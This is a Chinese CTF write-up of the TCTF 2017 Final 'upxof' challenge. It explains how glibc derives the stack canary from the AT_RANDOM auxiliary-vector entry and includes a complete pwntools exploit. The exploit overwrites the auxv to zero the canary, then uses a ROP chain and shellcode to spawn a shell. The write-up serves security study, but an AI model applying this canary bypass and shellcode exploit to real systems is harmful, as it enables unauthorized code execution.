利用绕过canary的另一种方法。通过修改AUXV(Auxiliary Vector)结构体使 canary 值可控。因为在ld的时候,canary是通过AUXV中的一个成员生成的。
题目文件
(文件在附件中也上传了)
happy@ubuntu ~/pwn/20170602-TCTF-Final/pwn-upxof checksec upxof [*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Packer: Packed with UPX
发现upx有壳,upx -d
一下(附件中depack文件时脱壳后的),然后发现脱壳后的程序有canary
happy@ubuntu ~/pwn/20170602-TCTF-Final/pwn-upxof checksec depack [*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/depack' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
脱壳后的main函数,很明显gets有个栈溢出。但是有canary,这里通过修改AUXV
中的AT_RANDOM
来控制我们的canary,后面会介绍。
int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+0h] [rbp-410h] unsigned __int64 v5; // [rsp+408h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); printf("let's go:", 0LL); gets(&v4); return 0; }
简言之,canary是由ld.so进行初始化的,而这个值又是通过Auxiliary Vector
参考
https://www.elttam.com.au/blog/playing-with-canaries/auxv
结构可以在elf/elf.h里看到:
/* Auxiliary vector. */ /* This vector is normally only used by the program interpreter. The usual definition in an ABI supplement uses the name auxv_t. The vector is not usually defined in a standard <elf.h> file, but it can't hurt. We rename it to avoid conflicts. The sizes of these types are an arrangement between the exec server and the program interpreter, so we don't fully specify them here. */ typedef struct { uint32_t a_type; /* Entry type */ union { uint32_t a_val; /* Integer value */ /* We use to have pointer elements added here. We cannot do that, though, since it does not work when using 32-bit definitions on 64-bit platforms and vice versa. */ } a_un; } Elf32_auxv_t; typedef struct { uint64_t a_type; /* Entry type */ union { uint64_t a_val; /* Integer value */ /* We use to have pointer elements added here. We cannot do that, though, since it does not work when using 32-bit definitions on 64-bit platforms and vice versa. */ } a_un; } Elf64_auxv_t;
这是一个entry struct
,以AT_HWCAP
为例,这个结构体就会是p64(entry_type_no) + a_un
这个a_type的取值可以参见源码,以下列举部分
/* Legal values for a_type (entry type). */ #define AT_NULL 0 /* End of vector */ #define AT_IGNORE 1 /* Entry should be ignored */ #define AT_EXECFD 2 /* File descriptor of program */ #define AT_PHDR 3 /* Program headers for program */ #define AT_PHENT 4 /* Size of program header entry */ #define AT_PHNUM 5 /* Number of program headers */ #define AT_PAGESZ 6 /* System page size */ #define AT_BASE 7 /* Base address of interpreter */ #define AT_FLAGS 8 /* Flags */ #define AT_ENTRY 9 /* Entry point of program */ #define AT_NOTELF 10 /* Program is not ELF */ #define AT_UID 11 /* Real uid */ #define AT_EUID 12 /* Effective uid */ #define AT_GID 13 /* Real gid */ #define AT_EGID 14 /* Effective gid */ #define AT_CLKTCK 17 /* Frequency of times() */ ... /* This entry gives some information about the FPU initialization performed by the kernel. */ #define AT_FPUCW 18 /* Used FPU control word. */ ... /* A special ignored value for PPC, used by the kernel to control the interpretation of the AUXV. Must be > 16. */ #define AT_IGNOREPPC 22 /* Entry should be ignored. */ #define AT_SECURE 23 /* Boolean, was exec setuid-like? */ #define AT_BASE_PLATFORM 24 /* String identifying real platforms.*/ #define AT_RANDOM 25 /* Address of 16 random bytes. */ #define AT_HWCAP2 26 /* More machine-dependent hints about processor capabilities. */ #define AT_EXECFN 31 /* Filename of executable. */ ...
我们关注的是这里面的AT_RANDOM
,在libc中,它和生成canary有着紧密的关系。
static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void *dl_random) { union { uintptr_t num; unsigned char bytes[sizeof (uintptr_t)]; } ret = { 0 }; if (dl_random == NULL) { ret.bytes[sizeof (ret) - 1] = 255; ret.bytes[sizeof (ret) - 2] = '\n'; } else { memcpy (ret.bytes, dl_random, sizeof (ret)); #if BYTE_ORDER == LITTLE_ENDIAN ret.num &= ~(uintptr_t) 0xff; #elif BYTE_ORDER == BIG_ENDIAN ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1))); #else #error "BYTE_ORDER unknown" #endif } return ret.num; }
也就是说,canary是通过dl_random
上设置的。
通过测试和文章分析可知,AUXV
结构体中AT_RANDOM
的值对应了canary的值(The value is a pointer to sixteen random bytes provided by the kernel. The dynamic linker uses this to implement a stack canary)
上面的这篇文章也介绍了通过程序获取auxv的方法
#include <sys/auxv.h> unsigned long int getauxval(unsigned long int type);其中,type传入auxv的a_type即可。
我们可以写一个带canary的程序,编译的时候gcc的选项带上-fstack-protector-all
pwndbg> info auxv 33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffa000 16 AT_HWCAP Machine-dependent CPU capability hints 0x1f8bfbff 6 AT_PAGESZ System page size 4096 17 AT_CLKTCK Frequency of times() 100 3 AT_PHDR Program headers for program 0x400040 4 AT_PHENT Size of program header entry 56 5 AT_PHNUM Number of program headers 9 7 AT_BASE Base address of interpreter 0x7ffff7dd7000 8 AT_FLAGS Flags 0x0 9 AT_ENTRY Entry point of program 0x4004e0 11 AT_UID Real user ID 1000 12 AT_EUID Effective user ID 1000 13 AT_GID Real group ID 1000 14 AT_EGID Effective group ID 1000 23 AT_SECURE Boolean, was exec setuid-like? 0 25 AT_RANDOM Address of 16 random bytes 0x7fffffffe1f9 26 AT_HWCAP2 Extension of AT_HWCAP 0x0 31 AT_EXECFN File name of executable 0x7fffffffefc5 "/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/test" 15 AT_PLATFORM String identifying platform 0x7fffffffe209 "x86_64" 0 AT_NULL End of vector 0x0
然后看一下AT_RANDOM
这个地址的值。
pwndbg> x/gx 0x7fffffffe1f9 0x7fffffffe1f9: 0x5b3648d106233604 pwndbg> canary AT_RANDOM = 0x7fffffffe1f9 # points to (not masked) global canary value Canary = 0x5b3648d106233600 No valid canaries found on the stacks.
还有比较重要的是,程序一开始AT_RANDOM
、AT_EXECFN
、AT_PLATFORM
和其他的值都会被 push 到栈上。
最后基本可以知道canary
的起源是如下的方式:
kernel---->AT_RANDOM---->fs:[0x28]---->canary
也就是说,如果我们可以在ld之前修改auxv struct
,当程序调用ld后,我们就能控制canary了。
关于修改auxv细节
The auxv structure above is everything. The at_random address gdb tells you is found using that structure. So, you CANNOT just use the address of at_random info auxv to see if the at_random is modified. Actually, at_random's address is contained in that structure, it is like p64(0x19) + p64(at_random_addr). To actually modify the at_random, the only thing you can do is to modify that address followed by the 0x19 number in the auxv. Changed it to point to some address which we already know the contents. (I used the address which is initiated to zero here)
大意就是我们要修改at_random的那个指针,确保这个指针指向的内容我们已知或者可控。
upx壳是有意义的,其不仅提供了RWX段。而且我们可以在没有被脱壳解密的情况下,没有被载入前覆盖掉auxv。第一次加载壳的时候可以输入长为0x4096的字符串,前八位则要求必须是12345678才能过 check。接下来解壳之后就可以溢出到auxv。
注意,我们覆写auxv的时候不需要把每个种类的Elf64_auxv_t都写上,除了必要的AT_RANDOM
外,详见exp。
sub_40099E
是start第一个运行的函数。
程序刚进入这个函数后就pop rsi
,而后rsp在读入之前就没有变
LOAD:000000000040099E sub_40099E proc near ; CODE XREF: start+7↑p LOAD:000000000040099E LOAD:000000000040099E arg_0 = qword ptr 8 LOAD:000000000040099E arg_8 = qword ptr 10h LOAD:000000000040099E LOAD:000000000040099E ; FUNCTION CHUNK AT LOAD:0000000000400C21 SIZE 00000008 BYTES LOAD:000000000040099E LOAD:000000000040099E pop rsi ; buf LOAD:000000000040099F mov rdi, 1 ; fd LOAD:00000000004009A6 mov rdx, 9 ; count LOAD:00000000004009AD mov rax, 1 LOAD:00000000004009B4 syscall ; LINUX - sys_write LOAD:00000000004009B6 mov r9, 0 LOAD:00000000004009BD mov [rsp-8+arg_0], r9 LOAD:00000000004009C2 LOAD:00000000004009C2 loc_4009C2: ; CODE XREF: sub_40099E+7C↓j LOAD:00000000004009C2 mov r9, [rsp-8+arg_0] LOAD:00000000004009C7 cmp r9, 4096h LOAD:00000000004009CE jz short loc_400A1C LOAD:00000000004009D0 mov rdi, 0 ; fd LOAD:00000000004009D7 mov rsi, rsp LOAD:00000000004009DA add rsi, r9 LOAD:00000000004009DD add rsi, 8 ; buf LOAD:00000000004009E1 mov rdx, 1 ; count LOAD:00000000004009E8 mov rax, 0 LOAD:00000000004009EF syscall ; LINUX - sys_read LOAD:00000000004009F1 cmp rax, 1
我们在0x4009E1
下断点,第一次断下来的时候,rsi就是buf的起始地址了
第一次断在0x4009E1
的时候
pwndbg> info r rsi rsp rsi 0x7fffffffde08 140737488346632 rsp 0x7fffffffde00 0x7fffffffde00
然后查看栈上auxv的距离
pwndbg> stack 120 00:0000│ rsp 0x7fffffffde00 ◂— 0x0 ... ↓ 10:0080│ 0x7fffffffde80 ◂— 0x1 11:0088│ 0x7fffffffde88 —▸ 0x7fffffffe214 ◂— '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof' 12:0090│ 0x7fffffffde90 ◂— 0x0 13:0098│ 0x7fffffffde98 —▸ 0x7fffffffe248 ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0' 14:00a0│ 0x7fffffffdea0 —▸ 0x7fffffffe27c ◂— 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg' ...(massive env pointers) 53:0298│ 0x7fffffffe098 —▸ 0x7fffffffefaf ◂— 'LINES=48' 54:02a0│ 0x7fffffffe0a0 —▸ 0x7fffffffefb8 ◂— 'COLUMNS=135' 55:02a8│ 0x7fffffffe0a8 ◂— 0x0 56:02b0│ 0x7fffffffe0b0 ◂— 0x21 /* '!' */ 57:02b8│ 0x7fffffffe0b8 —▸ 0x7ffff7ffd000 ◂— jg 0x7ffff7ffd047 58:02c0│ 0x7fffffffe0c0 ◂— 0x10 59:02c8│ 0x7fffffffe0c8 ◂— 0x1f8bfbff 5a:02d0│ 0x7fffffffe0d0 ◂— 0x6 5b:02d8│ 0x7fffffffe0d8 ◂— 0x1000 5c:02e0│ 0x7fffffffe0e0 ◂— 0x11 5d:02e8│ 0x7fffffffe0e8 ◂— 0x64 /* 'd' */ 5e:02f0│ 0x7fffffffe0f0 ◂— 0x3 5f:02f8│ 0x7fffffffe0f8 —▸ 0x400040 ◂— add dword ptr [rax], eax 60:0300│ 0x7fffffffe100 ◂— 0x4 61:0308│ 0x7fffffffe108 ◂— 0x38 /* '8' */ 62:0310│ 0x7fffffffe110 ◂— 0x5 63:0318│ 0x7fffffffe118 ◂— 0x2 64:0320│ 0x7fffffffe120 ◂— 0x7 65:0328│ 0x7fffffffe128 ◂— 0x0 66:0330│ 0x7fffffffe130 ◂— 0x8 67:0338│ 0x7fffffffe138 ◂— 0x0 68:0340│ 0x7fffffffe140 ◂— 9 /* '\t' */ 69:0348│ 0x7fffffffe148 —▸ 0x400988 ◂— sub rsp, 0x80 6a:0350│ 0x7fffffffe150 ◂— 0xb /* '\x0b' */ 6b:0358│ 0x7fffffffe158 ◂— 0x3e8 6c:0360│ 0x7fffffffe160 ◂— 0xc /* '\x0c' */ 6d:0368│ 0x7fffffffe168 ◂— 0x3e8 6e:0370│ 0x7fffffffe170 ◂— 0xd /* '\r' */ 6f:0378│ 0x7fffffffe178 ◂— 0x3e8 70:0380│ 0x7fffffffe180 ◂— 0xe 71:0388│ 0x7fffffffe188 ◂— 0x3e8 72:0390│ 0x7fffffffe190 ◂— 0x17 73:0398│ 0x7fffffffe198 ◂— 0x0 74:03a0│ 0x7fffffffe1a0 ◂— 0x19 75:03a8│ 0x7fffffffe1a8 —▸ 0x7fffffffe1f9 ◂— 0xc0d54f3a714d6d9a 76:03b0│ 0x7fffffffe1b0 ◂— 0x1a 77:03b8│ 0x7fffffffe1b8 ◂— 0x0
我们发现0x7fffffffe1a8
地址处保存了RANDOM的指针,距buf偏移为0x03a8-0x8
。
我们修改的时候还要修改其a_type,也就是0x7fffffffe1a0地址处表示的0x19.0x7fffffffe0b0
地址开始就是auxv的开始地址,之前和env
数组有一个0的分隔。我们在覆盖的时候,不必将auxv每一个a_type对应的值都覆写上。0x7fffffffde80
处的1保存的是argc(参数个数)。0x7fffffffde88
则是argv
控制canary之后,我们只要通过ROP,在RWX段用gets写入shellcode,然后执行即可。
from pwn import * context(os='linux', arch='amd64', log_level='debug') p=process("./upxof") p.recvuntil("password:") payload = '12345678' payload += p64(0) * 14 payload += p64(1) # argc payload += p64(0x400008) # argv payload += p64(0) payload += p64(0x400008) * 42 # envp payload += p64(0) # aux vector # payload += p64(0x21) # payload += p64(0x7ffff7ffd000) # payload += p64(0x10) # AT_HWCAP # payload += p64(0x1f8bfbff) # payload += p64(0x6) # AT_PAGESZ # payload += p64(0x1000) # payload += p64(0x11) # AT_CLKTCK # payload += p64(0x64) payload += p64(0x3) # AT_PHDR payload += p64(0x400040) # payload += p64(0x4) # AT_PHENT # payload += p64(0x38) payload += p64(0x5) # AT_PHNUM payload += p64(0x2) # payload += p64(0x7) # AT_BASE # payload += p64(0x0) # payload += p64(0x8) # AT_FLAGS # payload += p64(0x0) payload += p64(0x9) # AT_ENTRY payload += p64(0x400988) # payload += p64(0xb) # AT_UID # payload += p64(0x0) # payload += p64(0xc) # AT_EUID # payload += p64(0x0) # payload += p64(0xd) # AT_GID # payload += p64(0x0) # payload += p64(0xe) # AT_EGID # payload += p64(0x0) # payload += p64(0x17) # AT_SECURE # payload += p64(0x0) payload += p64(0x19) # AT_RANDOM payload += p64(0x8000a0) # data at 0x8000a0 is 0, so we control canary with 0 # payload += p64(0x1f) # AT_EXECFN # payload += p64(0x7fffffffeff0) # --> 0x666f7870752f2e ('./upxof') # payload += p64(0xf) # AT_PLATFORM # payload += p64(0x7fffffffe659) # --> 0x34365f363878 ('x86_64') payload+=p64(0) payload+=p64(0) p.sendline(payload) p.recvuntil('go:') pop_rdi = 0x4007f3 gets = 0x4005B0 p.sendline(flat('\x00' * 1048, pop_rdi, 0x00800000, gets, 0x00800000)) # write shellcode to RWX 0x8000a0 p.sendline(asm(shellcraft.sh())) p.interactive() # gdb.attach(p,"b *0x400A1C") # p.interactive()
经测试,auxv覆盖的时候,下面的成员值一定要保证正确覆写
AT_PHDR 0x3 AT_PHENT 0x4 AT_PHNUM 0x5 AT_ENTRY 0x9
其他成员不写上调试的时候也没有出问题
https://github.com/D-I-E/writeups/tree/master/2017-ctfs/20170602-TCTF-Final/pwn-upxof
https://qianfei11.github.io/2019/02/15/%E7%BB%95%E8%BF%87ELF%E7%9A%84%E5%AE%89%E5%85%A8%E9%98%B2%E6%8A%A4%E6%9C%BA%E5%88%B6Canary/#2017-TCTF-Final-upxof
https://www.elttam.com.au/blog/playing-with-canaries/
最后于 2天前 被微笑明天编辑 ,原因: modify exp format